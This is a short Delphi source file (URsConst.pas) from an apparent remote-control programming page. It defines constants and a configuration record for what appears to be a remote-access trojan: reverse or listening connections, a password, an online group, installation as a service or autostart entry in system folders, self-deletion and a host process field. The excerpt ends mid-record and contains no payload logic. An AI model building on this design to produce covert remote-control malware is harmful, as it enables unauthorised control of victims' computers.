远程控制编程

开发平台：

Delphi

URsConst.pas：源码内容

							unit URsConst;
interface
uses Windows, SysUtils2;
const
  WM_QUIT = $0012;
  WM_CLOSE = $0010;
  WM_USER = $0400;
  sFileMap = 'shFileMap_sabason'; // 内存映射文件
type
  FILE_INFO = record
    Filename: array[0..MAX_PATH] of char;
    Por: array[0..MAX_PATH] of char;
    isopen: integer;
    len: integer;
  end;
type
  PRedCtrl = ^TRedCtrl;
  TRedCtrl = record
    Urlhttp: string[100];
    dConType: string[1]; //连接类型; 0:主动连接，1:被动连接
    dDnsHost: string[100]; //主动连接主机地址
    dLocalPort: string[10]; //被动连接端口
    dRemotePort: string[10]; //主动连接端口
    dPass: string[30]; //连接客码
    dGroup: string[30]; //上线组
    dRunAsSrv: string[2];
      //以服务运行  01:以服务运行，10:注册自动启动  11:有自动启动也有以服务运行
    dInsPath: string[1]; //安装路      0:<window> 1:<system> 2<templete>
    dInsFileName: string[100]; //安装文件名称
    dIsAutoDelMe: string[1]; //是否自己删除自己 0:不删除 1:删除自己
    dSrvView: string[50];
    dSrvName: string[50];
    dSrvText: string[50];
    dMainThread: string[100]; // Start.exe线程ID
    dhostProcess: array[0..50] of char; // 

						